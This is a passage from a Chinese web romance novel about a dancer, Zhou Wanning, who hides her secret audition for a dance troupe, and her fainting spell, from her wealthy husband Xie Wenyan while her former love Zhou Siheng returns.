音落,谢温言醉晕过去。 与此同时,周绾宁的手机铃忽然响起。 上面是来自京市的陌生号码。 她第一反应是骚扰电话,准备挂断。 但不知为什么,犹豫之下,她还是在鬼使神差中按下了接听。 她将手机贴在耳边,询问对方是谁。 对面传来一阵浅浅的呼吸声。 在深夜里,一下又一下,撞击在周绾宁的心口上。 偶尔,周绾宁也会怀疑,这是谢温言的呼吸,还是手机对面那个男人的呼吸。 她又试探着询问了一声:“请问,您找我是有什么事?” 但这次给她回复的,不是电话对面的人,而是醉酒的谢温言拥紧了她,低唤了一声:“绾宁……” 终于,电话对面冗长的沉默结束。 对方主动挂断了电话。 第25章 回归 她结婚对象是他的死对头。 翌日, 破晓。 看着前方周绾宁背对自己的身影。 比意识还要早些清醒的,是谢温言的占有欲。 他不喜欢周绾宁不理自己的模样, 好似回到了还没在一起的时候。 所以他伸手将人强势捞进怀里,让自己完全包裹着她的瘦小。 “唔……热。” 周绾宁有些被闹醒了。 她半睡不醒地翻身,片刻后,被外面的阳光一刺,闷头躲进了谢温言的怀里。 因为没睡饱,她的声音又有点烦闷,又有些像是撒娇:“让我再睡一会, 我好晚才睡的。” 谢温言目光落在她眼底的青黛色, 也记起了后来, 她和桐姨照顾自己到很晚的事。 他没有再闹她, 静 春鈤 静享受这份被周绾宁依赖的时刻。 直到她手机的闹钟响起,周绾宁才崩溃坐起身。 柔顺的头发在她脸颊两边垂下来,整个人闭着眼摸索到手机,关了闹钟, 最后往前一撞,撞进坐起身的谢温言怀里。 这一下撞得不轻,谢温言低低地笑了笑, 低头亲在她的耳根后。 “不然,再睡会,下午过去?” 一句话,让周绾宁清醒。 “不了,已经太久没去幼儿园, 孩子们都要不认识我了。” 最重要的是,今天还有京舞团的初面,她得早点去幼儿园练习。 她万分不舍地将自己从被子里的柔软里抽离出去, 一路跑去浴室。 谢温言也下床跟过去,就这么站在浴室门边看她。 周绾宁一边刷牙,一边问他:“昨晚你为什么喝酒,还把手弄伤了?” 谢温言看了下手背:“昨晚和宋承珉他们见面就多喝了几杯,有些失态。手是不小心磕到的。” 昨晚的事他会封尘下来,不再让周绾宁窥得过去的伤痛。 她现在只需要面对,他给她铺陈好的光明坦途。 就算被迫回头,她看到的也不会是黑暗,而是先看见他。 周绾宁收拾完走出来,看看他的手背,暗暗夸了句自己包扎得不错,随后问他:“今天你在家休息?” “嗯,在家办公。然后等你回来。” 周绾宁点点头,微微一笑:“好。” 谢温言回想起昨晚自己隐约有看见她身穿偏古风的衣服,不是睡衣,应该是舞蹈服,便问她:“你最近是在练舞?” 一句话,让周绾宁的笑意有些凝固。 她神色微有些忐忑地看着他,飞快摇头否认:“没、没有啊。” “绾宁,如果你……” “那个谢温言,我要迟到了,不跟你聊了。”说完,她快步跑去衣帽间换衣服。 看她对舞蹈避而不谈的样子,谢温言是疑惑的。 为什么当初那么爱跳舞的人,现在能将舞蹈放弃得那样干净…… 他不是谢家人,不会让她像他妈妈一样放弃舞台。 如果她有任何想做的事情,他都会支持。 谢温言回到自己的床头柜处,拿出几个月前注资霜舞工作室的企划书。 虽然不知道为什么两年前她会走上幼师这条路,但马上她与星海幼儿园的合同就要到期。 如果她有重回舞台的想法,那么,他能给她想要的一切支持。 * 离开梧桐湾后,周绾宁先去幼儿园练习了三个小时的舞蹈,随后直接出发前往京舞团的大楼。 京舞团自从两年前被注资后,就在繁华的京市拥有了一座大楼,大楼二层就有一个平时会承接不少赛事表演的大会堂。 今天的初试就是在那。 周绾宁出来的急,早上就没吃什么,午餐更因为紧张而吃不下东西。 她坐在观众席里,看了演周围,全是比自己年轻许多的大学生,不比她此刻的战战兢兢,他们每个人都是明媚恣意的。 那种没被社会磋磨过的自信与心气,让周绾宁有些许羡慕。 不过从坐到观众席上开始,她始终能感受到一道被注视的目光,她疑惑地朝后方看去。 但后面都是看着观众席,被灯光照得发白的人脸,一时间,她也分不清那个注视自己的人是谁。 她怀疑,是自己昨晚没睡好,产生的错觉。 在又一次舞台灯光暗下后。 周绾宁终于轮到机会,登台表演。 而此时,观众席最后一排。 陷在黑暗里的周思恒默默打开手机,查看助理发来的消息—— 【周总,周小姐两年前已婚,她老公】 【是谢家那位。】 手机的光照在周思恒的脸上,向来沉稳冷漠的脸上终于出现破碎的裂痕。 他关闭手机,仰头观看舞台上。 时隔两年,他终于再次看到他的女孩在舞台上表演了。 却是时过境迁。 曾经,他以为他再也不会回到这个城市,也不会和周绾宁再产生任何交集。 直到三天前,他意外从朋友那里得到了周绾宁曾让朋友转交给他的一封信。 先前,朋友觉得他痛恨周家,所以也没想交给他。 所以现在看了信的周思恒才意识到,这两年自己究竟错过了什么。 昨天他回到了这个城市。 却见昔日被他保护得很好的周绾宁被人挂在网上各种羞辱、造谣。 他本来只是想见见她,现在却觉得和她的关系还有回缓的余地。 因为只有这两年她过得不好。 他再出现在她身边,对于她来说,才是个救赎。他们之间也才会有和好的可能。 谁知,就在他准备出手帮她撤热搜时,热搜却以肉眼可见的速度被人撤下来。 他才知道,现在的周绾宁也是有人保护的。 后来他叫助理调查了一番。 彻底搞明白了一件事,之前一直在国外针对他恒星集团的盛坤集团掌权人谢温言,竟然会是周绾宁现在的丈夫。 她结婚了。 结婚对象还是他的死对头。 这时,周围响起热烈的鼓掌。 周思恒的失神结束,他下意识看向舞台中央的人。 只见周绾宁做完最后的造型,在一片掌声里自信地向观众席、评委席致谢。 还是老样子,回到舞台,就像是鱼回到了水里。 他也认真看了在她上台前的几个舞蹈表演。 说实话,跟他的绾宁没法比。 所以,这两年她既然是在那个人的怀里,为什么再未登上过舞台?反而去做了一名普通幼师。 失去舞台的周绾宁不会开心。 所以这两年,她究竟到底过得怎么样? * 周绾宁从舞台下来后一直觉得自己的胃不太舒服。 好在不需要在原地等成绩,所以她换完常服后,准备回家休息。 未料,在会堂的大厅里,她遇到了一个人。 沐黎。 她想要错过她离开,却被叫住:“站住!” 周绾宁回头看她:“怎么?” “你怎么会过来参加初试的?” 周绾宁微微蹙眉:“这次京舞团是社招,没有规定我不能来参加吧。” “你知道我在说什么的,周绾宁,你不是不回舞台了吗?” 沐黎踩着高跟鞋挨近她,“伯母跟我介绍过你,说你为了留在谢家,甘愿不回舞台了?现在怎么又来了。” “原来她是这么跟你说的啊。” 周绾宁嗤笑一声,随后转正身躯告诉眼前的人,“不好意思,我不会放弃舞台的,如果没什么事,我就先走了。” “所以谢温言知道吗?你想重回舞台的事情。” 随着沐黎问出这句话,周绾宁的脚步顿住。 片刻后,她转过身看她:“他很支持我。” 沐黎表情变得有些戏谑:“不哦。如果他真的支持你,你不会两年都被困在那个幼儿园里,只能处理一些孩子们的事情。你若喜欢,他若支持,别说是京舞团,他单独为你弄个工作室都不在话下。” 周绾宁深吸一口气,还想反驳。 沐黎“啧”了两声:“所以你是偷偷过来的吧?” “是又如何,你想告诉他威胁我吗?”周绾宁微微歪头与她对视。 “这有什么好跟他说的,无论如何,你都过不了今天的面试。他知不知道,又有什么关系。” 沐黎微微一笑,看上去是人畜无害的模样,“所谓一山不容二虎,我不跟你争男人,但我的舞台,你也休想再登上来。” “原来你只能靠这种手段,将这些年优于你的对手都打压着,才能保你首席的位置吗?”周绾宁不免觉得好笑。 而此刻,她面上云淡风情的淡漠微笑,倒是有些刺痛沐黎。 “你!” “沐黎,你该不会以为我非要进你们京舞团吧?” “整个京市上到各种赛事、下到学校合作,最炙手可热的就是京舞团了,不在这里发展的舞蹈演员,又有几个能撑下去?不过既然你这么说了,那我就期待你在别的地方,发光发热呀~” 说完这句话,沐黎笑容变得优越感十足的傲气,她嗤笑一声,越过周绾宁离开。 周绾宁垂眸看了一眼自己包里的舞蹈服,心里纵使因为被沐黎卡着喉咙有些生气,但也 𝑪𝑹 不好发作。 她只能宽慰自己,从一开始,她也没想一定要进到京舞团里。 想着,她深吸一口气,拎着包往停车场走。 忽的,身体的不舒服有些加剧。 不仅胃有些难受,现在还有些头重脚轻。 她看到前方有个扶手可以让自己撑一下,便下意识往前走了两步,没想到伸过去的手却抓了空,什么都没有握住。 忽然,她眼前一黑,继而整个人软绵绵地栽倒下去,彻底失去意识。 沐黎是走到二楼办公室开始优雅喝咖啡的时候,才被后来才上楼的经纪人告知,周绾宁在大会堂外晕倒了。 “晕倒了?她怎么了。” “嗯,看着像是低血糖犯了。” “打救护车了没,别到时候出个事,还赖上我们这里。” 沐黎翻阅着这次舞蹈初试的名单,拿起笔,在周绾宁的名字上画了个大大的叉,交给了一旁的助理,“这次谁都可以进,就她不行。” 助理:“是,黎姐。” 经纪人陈潇芸道:“本来是要打的,突然有个男人出现把她抱着送去了医院,那男的长得还挺帅,车里还配备了司机。” “谢温言?”沐黎下意识以为是他。 “是谢温言我就跟你直接说是他了。不过虽然不是谢温言,但跟谢温言差不多年纪,衣服风格也差不多,甚至都长得一样好看,本来还想去要微信的。” 陈潇芸忍不住感慨,“开的车也不便宜,rs7呢。” “不是谢温言,那会是谁?”沐黎忍不住蹙起眉头。 陈潇芸摇摇头:“不清楚。” 沐黎拿出手机,打开与谢温言的聊天界面,想了想发了两条消息过去: 【你怎么没告诉我,你老婆是这样的舞蹈高手。】 【今天她来我们京舞团初试了,但有些失误,所以没过面试。】 谢温言那段沉默了许久,才回:【知道了。】 一如既往的冷漠。 沐黎勾唇一笑。 接下来就是周绾宁该跟谢温言怎么解释的事情了。 第26章 情敌 情敌间的短暂交锋。 在收到沐黎这些消息时, 谢温言并不打算理会上面的内容。 商场上混了那么久,她话里深层次的意思他怎么会看不出来。 她并不是意在说他为什么没告诉她, 周绾宁是个舞蹈高手。 而是点明,他这个做丈夫竟然不知道今天周绾宁去了京舞团面试。 在他们这个圈子里,如果家属要涉猎什么产业,只需要提早知会一声,都会保下这个人情。 谢温言打开周绾宁的微信。 顿了顿,又退出。 他点开星海幼儿园旁边的那家蛋糕店的私人微信,点了份雪域抹茶慕斯蛋糕。 让他们十分钟后给周绾宁送去。 随即他才发了消息给周绾宁:【给你点了下午茶, 饿着什么, 都别饿着你的五脏庙。】 发完, 他继续工作。 昨晚那几个欺负过周绾宁的人, 委托了不少人来说情。 似乎都明白了周绾宁是谁,还送了不少女性的贵重物品去盛坤集团的总裁办。 但都被裴特助一一退回了。 裴特助还发来了昨晚对孙子琦的处置:【孙子琦受不得激,跟代驾吵架后,果然入了圈套非要自己开车, 不仅闯卡还跟交警有肢体冲突,现在已经在看守所里等待判刑了。】 谢温言回了句:【好,办得不错。】 随即, 他看了眼始终没有回消息给自己的周绾宁。 按理说,这个时间点,是她的休息时间。 以往只要在她休息时间发过去的问候,她都会及时回复。 可今天等了许久,都没她的消息过来。 谢温言察觉到不对劲。 而蛋糕店也回复他说小周老师并不在办公室。 这一次, 和上次一样,他并不执着于等她给自己回复,而是直接找了最简便的方法—— 查看她现在的定位。 然而, 看到地图上代表周绾宁的红点,出现在京市第一医院时,谢温言正在批阅公文的手顿了顿。 黑色钢笔的墨汁在纸面上留下毫无规则的污渍。 几乎是没有多想,他丢开笔,拎起椅背上的西装外套,快步离开书房。 与此同时,医院里。 挂上点滴不久,周绾宁便从一片消毒水味道中醒来了。 对于晕倒前最后的记忆,她还停留于自己在舞台上对观众谢幕,时隔多年再一次享受到聚光灯打在她身上时,那种令人心驰神往的感觉。 她忘记了之后发生的所有事,包括自己怎么进的医院。 在看到头顶上方的吊瓶后,她微微蹙眉,又下意识看向周围。 这应该是医院的单人vip病房。 谁送她来的? 疑惑着,周绾宁的目光落在前方面对窗外的身影上。 看到那熟悉的穿衣风格,周绾宁撑起自己,下意识对他喊出声:“温言……” 然而,在前方的人转过身的那一刻,她的笑意凝固在了脸上。 “宁宁,是我。” 周思恒转过身,如月的眼眸,时隔两年再次落在周绾宁的身上。 从他突然出国后,周绾宁一直陷入内耗之中,生怕是因为自己暗恋他的事被家里人知道,所以最后他才会被赶出周家。 不然她想不明白,为什么周思恒会突然杳无音讯,甚至在周家出了那样大的事后,丝毫没有过问。 他知不知道这两年来,她怎么过的? 他是最疼她的小叔叔,承载了她少女时期所有的爱意。 她想,就算这个世界所有人都不要她,周思恒都会在她身边! 可在她最需要他陪着她的时候,她的世界甚至连他一丝一毫的气息都没有出现。 周绾宁以为自己再见到他,会情绪失控、会崩溃质问、会骂他。 可这些都没有。 她只发现……现在她最想见到的人不是他。 “什么时候有的胃病?”周思恒走过来,挺括的身姿逆着光气势逼人,“两年前还没有的。” 周绾宁垂眸,语气平平:“两年时间,什么都改变了,我有胃病也不是一件让人意外的事。” 早期是年少为了跳舞时候的身形好看,她不怎么吃饭。 后来周家出事,她跟爸爸跑各种酒局,酒喝多后导致胃穿孔住院。 好在,住进梧桐湾后,桐姨帮她调养好了不少。 今天估计又紧张又焦虑,吃不下饭后,还在舞台上花费了不少力气,有些低血糖犯了,才晕了过去。 顺便被检查出来胃病有些复发。 而在她的回答过后,病房里陷入了冗长的沉默中。 曾经亲密无间的两个人,在分离两年后,再也没有可以说起的话题,彼此只剩下静默的对视。 最后,周绾宁垂下眼眸,躲过他的审视。 “这两年,我关注了不少舞蹈赛事,上面没有你。”忽的,周思恒开口,他很笃定,“以我对你的了解,你那么爱跳舞,不可能因为任何事放弃它。” “那是以前。” 周绾宁抬头,嘴角扯出一抹无奈的笑,“以前的周绾宁什么都不用考虑。不需要考虑下个月存多少钱,不需要考虑未来不能跳了怎么办,也不需要担心家里有人不支持你跳舞。” “我从三岁开始学习跳舞,五岁开始热爱舞蹈,十三岁拿了少年桃李杯,十八岁有了第一次巡演,我以为舞蹈是我的生命,也以为自己想要的都可以唾手可得。” “可一切就在二十二岁那年,人生对我开了个玩笑。周家没了,我以为爱我的人丢下了我。我不得不放弃自己的学业、舞蹈,才能换回平稳、安宁的生活。我为了这样的生活,放弃自己的热爱,是一件很正常的事吧。” 周思恒看着周绾宁含着水光的眼,这一刻却有些不敢看她。 “绾宁,我……” 周绾宁低头,努力扯出一抹笑来:“很可笑吧。我的人生。” 今天不当着周思恒的面前说出来,她也不知道,原来自己的怨气那样大。 她以为这两年,自己对不能回 𝑪𝑹 舞台这件事已经有些认命。 但现在对着唯一能发脾气倾诉一切的人,她才发现自己做不到毫无怨言。 周思恒对她来说是特别的。 亦师亦友亦家人,是朋友也是她曾经最最喜欢的人。 她已经走过那段不敢对他宣泄爱意、谨小慎微的时候。 现在对着他,倒是能像晚辈对亲昵的长辈那样坦然,也敢尽情说出自己对眼下生活的一些不满。 或许是因为她清楚,只有眼前的人,会包容她所有的难过和伤心。 周思恒拉开椅子,坐到她面前:“所以,你就选择和……谢家那位结婚了?” 周绾宁定定地看着他,气笑:“你查过我?” 周思恒解释:“本想帮你处理掉那些热搜上的负面新闻,结果发现有更厉害的人帮忙将那些绯闻清除得一干二净。那不是你大伯能做到的事。只可能是京市更强大的那几家。” 至于为什么他会想到谢温言…… 那就是另外的事了。 “是他又如何。” 周思恒犹豫着,问:“你们,是相亲的?” “不是。” “那……是相爱?” “……” 病房里再次陷入沉默。 许久都等不到周绾宁的回答。 坐在她前方的周思恒,眼神倒是从犀利变为少许柔和。 “看来,无论什么原因,你跟他结婚后,只得到了宁静、平稳、富足的生活,却没得到追求热爱的自由。” 确实是这样。 她用自己的婚姻向谢温言典当了这些,这是她自愿的。 她埋怨周思恒丢下她一个人是一回事,但她感谢谢温言拯救她的余生是另一回事。 “那也够了。” “至少我老公给了我想要的生活。而你,是在那时候抛弃了周家所有,包括我的人。” 周绾宁不想跟他有过多交流,“你还有什么问题吗?没有的话请你离开。” 周思恒想了想:“我有入股京舞团,你想进那里,不需要看任何人的脸色,我可以帮你。” 上一个高高在上要将自己从京舞团筛掉的是沐黎。 而现在高高在上说可以让自己进去的,是曾经她挚爱的周思恒。 “所以你回来后,就只有这些话想跟我说吗?” “我……” “周思恒,作为小叔叔,作为我曾经的家人。”周绾宁眼底有破碎的泪光,“你,不该给我一个交代吗?” 交代什么,他们彼此都很清楚。 这次轮到周思恒陷入沉默之中。 周绾宁不想再说什么。 她看了眼手机。 谢温言在一个小时前给她发了消息。 学校旁边的蛋糕店也给她打了电话,应该是谢温言给她定了下午茶。 怕谢温言联系不上自己而着急,她连忙想从床上下去。 周思恒却以为她发了脾气,过来摁住她:“做什么?” “我要回家了,我的丈夫还在等我。”说完她要去扯手上的吊针。 看到她手背上瞬间涌出鲜血,周思恒倒吸一口气,急忙将她摁住:“别动,乖一点。” 周绾宁挣扎,一字一句警告:“周思恒,放、开、我。” “我不会放的。” “宁宁,你知道的,我这次回来是为了什么。” 说着,周思恒轻轻用纸巾盖住她手背上的鲜血,温润的眼眸,此刻带着坚定。 周绾宁却情绪激动地抽出自己的手,话语硬气:“我不知道,我也,不想再看到你了。” 周思恒妥协,“我可以现在离开,但你不许再让自己受伤。” 说着,他将名片塞到周绾宁的外套口袋里,“这次我是临时从国外回来的,只能待三个月。你有什么需要都可以给我打电话。你知道的,你要什么,小叔叔都会想办法给你。” 周绾宁撇过头没有看他。 周思恒把她的手交叠,让她自己摁住伤口。 随后,他转身离开。 周绾宁一直到病房里只剩自己,才有心思去轻抚后背的伤。 后背的疼痛,让她隐约有些想起自己晕倒时,具体发生了什么。 好像是从阶梯上摔下后,磕到背部了。 这份疼痛让她察觉到,自己伤得并不轻,估计会有淤青或者肿块。 * 谢温言到医院时,裴特助已经将周绾宁所在的病房号,以及周绾宁进医院的原因发给了他。 他匆匆看了一眼,发现周绾宁只是低血糖,还有些胃痉挛后,松了口气。 到了住院部13楼,他刚出电梯,便恰好看见有人从周绾宁的病房里出来,对方缓步走向走廊另一端的电梯。 离得很远,但那份熟悉感,还是让谢温言顿住了脚步。 眼前这个,和之前无数次出现在他梦里的…… 让周绾宁选择抛开他,转而奔跑过去拥住的背影一样。 都让他感到无比刺眼。 谢温言快步过去,想要确认对方是谁。 几乎是在他想到一个名字的时候,那个走进电梯的背影转过身来。 对方与他遥遥相对上目光。 霎那间,一切明朗。 果然,是他。 周思恒。 那个让周绾宁从十五岁喜欢到二十五岁的男人。 周思恒显然也看到他了。 他眸色沉沉,片刻后,眼底染上一抹意味不明的笑意。似是在嘲讽,也似是一个胜利者在高歌。 直到电梯门关上,将这情敌间的短暂交锋彻底隔绝。 谢温言看向身侧的病房里,周绾宁正坐在床上,垂着脑袋,情绪不明。 直到她拿起手机。 不一会儿,他的手机震动起来。 他放弃推门进去,选择在外按下接听:“喂?” 电话那端,是周绾宁的道歉:“对不起,谢温言。我刚刚把手机落在办公室了,没看见你的消息。不过,谢谢你给我点的蛋糕,很好吃。” 谢温言周身的气压降低:“你……在哪?我怎么听到医院的仪器声了?” 他不知道周绾宁为什么要对自己撒谎,但他给她机会坦白。 “……哦,可能是美容医院的声音。今天我没有下午三四点的课,就提早出来和明潇逛街了。” “听你的声音,有些不舒服?” “可能是教孩子累了吧,所以出来按摩一下。” “那好,你和明潇的花费,都记在我账上。” “好~” 谢温言再次看着里面乖巧的她,心脏闷得厉害,继续道:“既然和明潇在一起,那今晚让她过来梧桐湾一块吃饭吧,我亲自下厨,招待你的朋友。” “……好。” 谢温言挂断电话,回首再次看向病房里的周绾宁,选择离开。 第27章 打击 谢温言,你在床上的技术一点也不…… 明潇是两人的好友中, 第一个踏进梧桐湾的。 她其实也不知道发生了什么事。 只知道周绾宁发消息拜托她去医院接她,说她没空的话, 她打车去她家也行。 随后,谢温言也发来了消息。 说周绾宁在医院,身体不舒服,但对他借口说是在和她逛街。 他想要她过去陪绾宁,但又不许她跟绾宁说,是他要求她过去的。 夫妻俩一个比一个怪。 但自上次给周绾宁作掩护,结果害她被关幼儿园的舞蹈教室里许久后, 明潇就变得很乖巧许多。 她不敢在谢温言的眼皮子底下, 再帮绾宁打配合。 只是没想到, 这次竟然是谢温言主动要求, 让她给周绾宁打掩护。 这是什么情况? 两人吵架了? 虽然绾宁看不太出来是和谢温言吵过架的模样。 但谢温言这种表面爱答不理,内心却细心做好一切,简直就是夫妻婚后闹脾气的标准行为。 明潇觉得自己必须做点什么,捍卫姐妹的爱情。 她知道, 两夫妻只要床事和谐,那就没有一炮解决不了的事情,实在不行, 就两炮! 所以她特意把上次忘记给周绾宁的小衣服,一并从家里带了过来。 不过整顿饭,气氛极其怪异。 周绾宁低头吃着饭,谢温言时不时给她夹菜, 椿?日? 也不说话。 只剩她活跃气氛, 有事没事喝口小酒。 直到酒过三巡,周绾宁出声要留她今晚在这住一夜。 一句话,饭桌上的气氛顿时陷入寂静。 谢温言看向面前的周绾宁, 轻轻咬牙。 从她和明潇回家开始,就几乎没与他有过对视。 此刻更是低头吃着椒盐排骨,不给他一个眼神安慰。 不被她在乎、随时会失去她的感觉,再次盈满他的四肢百骸。 谢温言将手中剥好的虾肉都一一放到酱油碟里,最后端起整只碗搬到周绾宁面前,回答她:“好,我去让桐姨把西边的客房收拾出来。” 谢温言起身,准备走向小客厅。 那里是桐姨和李叔日常吃饭的地方。 这时,后方的周绾宁又补了一句:“今晚,我想和潇潇一起睡。” 谢温言步伐一顿,看了看她,又看向明潇。 明潇醉得有些晕头转向,还没发现眼下情况的不对。 “你看,明潇喝成这样,我想照顾她。” 周绾宁轻轻咬着筷子,用一个比较合理的借口解释。 但其实连她自己也发现了,这个要求有点过分—— 既然说了在一起试试,除非特殊原因,好好的夫妻哪有分房睡的。家里也不是没有能照顾明潇的人。 谢温言低头笑了笑,“那我怎么办?” “我们之间……又不是只有今晚。” 她想,他应该不会听不出她的言外之意。 之后他要如何,她都不管。 只是今晚她不能跟他睡。 他喜欢开灯做那种事。 就算不做,他也喜欢看他把她全身亲遍,看她陷入情慾里,迷迷糊糊的模样。 这在君澜山庄的两天,她已经体验过了。 今晚他保不齐还会跟她做。 然后就会发现她后背的磕伤,继而引发其他问题。 现在最好的办法,就是等淤青消下去了,两人再同房。 就在周绾宁垂下眼眸,想再找点什么借口。 忽的,谢温言点头:“好。”随后离开。 这一次,倒是轮到周绾宁错愕了。 她实在没想到谢温言会这样轻易答应,虽然心里有些异样,但更多的是松下一口气。 * 客房里,有些酒醒的明潇正在帮洗完澡的周绾宁上药。 “所以……你是不想让他知道你今天下午溜出幼儿园去初试,还因此低血糖晕倒的这件事,才找我来圆谎的?” 周绾宁点点头。 “为什么不告诉他,你想跳舞。” 明潇觉得有些奇怪,“熟悉你的人都知道,你有多喜欢舞蹈。” “我和他的婚姻你也知道,一开始并不了解彼此,也没有相爱过。”周绾宁叹息一口气,“谢温言不知道也是应该的。” “那……当初他后妈逼你签下放弃京舞团的工作保证书,又逼你去幼儿园里当一名幼师,这件事他知不知情。” 这件事也一直藏在周绾宁心底很久很久了。 时间过去很久,当初他具体的态度,她已经忘得差不多了。 只记得,那是他们结婚第三个月的事情。 她前脚送谢温言出国出差,后脚奶奶出了车祸,医院说奶奶需要输很多很多的血。 京市第一医院的血库不多。 只有盛坤私人医院有很多库存,但那些调不过来。 言外之意,那都是有钱人在私立医院囤的血,以备不时之需。 那一次,婚后三个月再没麻烦过谢温言的周绾宁,第一次主动给他打电话,一个又一个。 可惜,电话里回复她的只有冰冷的机械女音。 后来她去盛坤私人医院找他们的院长说情,遇见了当时正在医院照顾谢温鄞的孙晗莉。 那会的孙晗莉,并没有表现出现在的精于算计。 与她仅有两面之缘的周绾宁,也并不了解谢家的情况。 只觉得初初见面,孙晗莉是一个很关心谢温言,对她也很热情的后妈。 所以孙晗莉说会帮她的奶奶转到盛坤私立医院时,她感激涕零。 可没想到,后来孙晗莉说要她帮忙可以,她的女儿正好也想进京舞团,要周绾宁把名额让给谢霜鄞。 好不容易在休学一年后,能够重拾舞蹈; 好不容易靠着优异的毕业成绩,能得到舞蹈人眼中梦寐以求的,去京舞团的机会。 周绾宁不想放弃。 她又着急又震惊,几乎是哭求孙晗莉说自己可以用别的来回报。 孙晗莉却直接明说不喜欢看到她跳舞。 谢家也不会允许一个在舞台上抛头露脸的女人进家门。 恰逢医生多次下奶奶的病危通知书。 周绾宁只能答应。 事后,孙晗莉还要她保证,不会告诉谢温言这件事,又道:“不过你告诉他也没事。但你想清楚,你只是他娶回家的工具人,万一家里因为你的事,闹得不痛快,你猜他会不会先放弃你。” 让周绾宁忌惮的,并不是这件事她告诉谢温言后,谢温言会不会放弃自己,而是那时谢温言不在,她也联系不上他。 而孙晗莉的一句话,就可以决定当时奶奶的命。 她答应了。 差不多等事情尘埃落定,奶奶也脱离了生命危险,谢温言终于回国了。 但他没有过问她那段时间到底发生了什么,而是在家门口与她匆匆见了一面、给了她一个新的联系方式后,又急忙奔赴去了沪市。 她才真的意识到自己只是谢温言娶回家的工具人。 “再后来……” 有些回忆不能深思,一旦深思,荷尔蒙上头后的爱,就不再是甜,而是酸涩与痛。 “再后来怎么了?” 明潇也不知道,周绾宁有过那么无助的时候。 如果她早一点知道这些,或许就能早点帮她了。 “再后来,一直到我因为照顾奶奶胃病发作晕倒,他才从沪市回来。他很温柔地照顾我和我奶奶,我有点动了恻隐之心,想告诉他我想跳舞的事情。当时想着的是,只要谢温言支持我,就算孙晗莉不让我跳,那又怎么。” 那天晚上,她从房间起来去书房找他,一路上鼓足了很大的决心,要对这个才相处四个月不到的丈夫,说出自己想要的东西,赌自己在他心里的重要程度。 她想再怎么,他们也是这日日夜夜里那么亲密的战友。 这点小事,他应该不会拒绝。 然而在书房外,她听到他正在跟人打电话:“好,阿姨,我会跟绾宁说一下,让她暂时不要跳舞了。” 那一刻,她意识到他知道了所有,并且很同意孙晗莉的建议。 “靠,太讨厌了!” 此刻听完全部的明潇唾骂一句,“怪不得之前你一直觉得自己只是谢温言带回谢家的工具人!也不想告诉他你喜欢跳舞的事情。” 周绾宁:“我想他不喜欢我跳舞,应该也有他的考量在。现在我就准备偷偷跳,等和幼儿园的合约到期,我就能去追求我所热爱的东西。” “那万一瞒不住了呢。” “我把选择权给谢温言。” 周绾宁郑重道,“如果他愿意接受我以后将以跳舞为事业,我会很乐意和他一起继续经营我们的小家庭。可如果他不愿意,正好我们的合约也就要到期了。” 更多的话,不用明说。 明潇都懂。 很庆幸,在她小姐妹的世界里,爱情不是天大的事。 或许周绾宁现在很喜欢很喜欢谢温言。 但如果谢温言和她热爱的舞蹈起了冲突,她一定会离开。 “是谢温言没福气。” 明潇抱住周绾宁香香软软的身躯,蹭蹭,“他不知道你跳舞有多好,不支持你跳舞,活该看不到!” “嗯!” 两人熄灯睡觉。 之后,夜半。 明潇酒劲上来了,一个劲喊着热,要喝水。 周绾宁打开小夜灯,哄她继续睡,自己在犹豫一会儿后,下楼去给她做醒酒茶。 她沉浸在锅里起伏的泡泡,并未察觉到身后有人靠近。 等她看到墙上 𝑪𝑹 出现一个身影时,带着雪松味的怀抱已经从后将她紧紧包裹住。 周绾宁浑身一僵,回头撞进男人黑沉的眼眸里。 像是被深深勾住了魂,竟然一时间无法挪开自己的眼神。 从回来后,她一直在躲着他。 原以为这个点,他已经睡了,没想到还醒着。 她伸手想要将他禁锢着自己的手拿开。 之前光是嗅到他的气息,她都忍不住会有反应,更何况现在被他贴得那么近,还能感受到他比她还要明显的爱意反应。 可她今晚给不了他。 “谢温言,你怎么还不睡?” 她轻唤了他的名字,气息不稳地转移话题。 可谢温言并不回答她的问题,而是一手关掉火,另一手将她翻过身。 他带着冷意的目光盯着她,像是要看穿什么。 最后,在周绾宁不解中,他强势欺近,吻了过来。 “唔……”周绾宁伸手抗拒。 但谢温言单手锁住她双臂,以完全强迫的姿态禁锢着她,让她被迫只能仰头接受他的求索。 随着吻的加深,周绾宁感觉自己的腿在肉眼可见之下变得酸软无力,还顺着他的身躯慢慢往下滑着。 “谢温言,别——” 她高仰起头,出声拒绝他。 但他的吻丝毫没有停下,还一点点顺着她的下巴,从她的长颈往下,亲到她的睡衣领口处,轻而易举地挑起她对他的回应。 谢温言当然不会要她。 她今天的情况不允许他放肆。 只是听到她说他们不只有今晚,还会有以后。 可今天周思恒出现在她的病房里,让他意识到他们很可能没有以后。 他,要她的日夜,也要她用身丿体告诉她,她有多离不开他。 想着,他端起周绾宁带走。 到了二楼,两人的卧室里。 他将她放到席梦思上,刚准备俯身继续吻她,就看见明亮的灯光下,周绾宁蹙着眉头,似是痛苦。 他愣住,以为她对自己的触碰是厌恶的。 但见她下意识去摸后背,可似乎看到他在看她后,又停下了手。 知道她后背有情况,谢温言果断去扯她的睡衣纽扣,一边问:“后背怎么了?” “没,没怎么。”周绾宁撑起自己,往后退缩。 谢温言并不放过。 他单膝跪在床上,往她的方向倾身,身形紧逼。 “谢温言等一下!” 她忽然加大声音,“我想跟你说一件事。” 谢温言蹙眉:“什么?” 此刻,他的注意力全然在她的后背上。 “我想说……” 周绾宁暗暗看向一旁完全没关上的门,计算着自己逃离的可能性。 发现是可行的后,她立马说出了那句令她自己也不敢置信的话,“谢温言,你在床上的技术一点也不好,我……我不想跟你做。” 说完,她凭借多年起腰的功夫,顺势从床上直起身,一溜烟从他的臂下逃了出去。 等到谢温言从她的话语中回神过来时,卧室门已经“嘭”地关上了。 谢温言半天都没缓过来。 第28章 回击 有点抗拒与他做那种事。 对谢温言说完那句话后, 周绾宁一夜无眠。 她有点怕…… 谢温言会陷入自我怀疑、伤心,然后一蹶不振。 想起他们的第一夜, 算不上有什么美好的体验,不过他很温柔,不会让她产生太多不适。 她对他的印象除了又长又大,就剩下持久。 做完的时候,她感觉整张床单都湿透了,她将被单攥得紧紧的,半天都回不过来神。 而他将她揽入他的怀里, 让她贴着他身上干净的薄汗, 倾听他胸膛处传来的炙热心跳。 最后, 他又低下头来, 用鼻尖贴贴她,双唇含着她。 安抚意味十足地告诉她,他很抱歉刚刚的失控。 她那时候没说什么,只是后来怕疼, 就有点抗拒与他做那种事。 谢温言察觉出来了,但什么都没说。 那几天睡觉,他也只是安静地抱着她, 什么也没做。 直到某天晚上,她撞见他在负一楼影音室看那不可描述的影片。 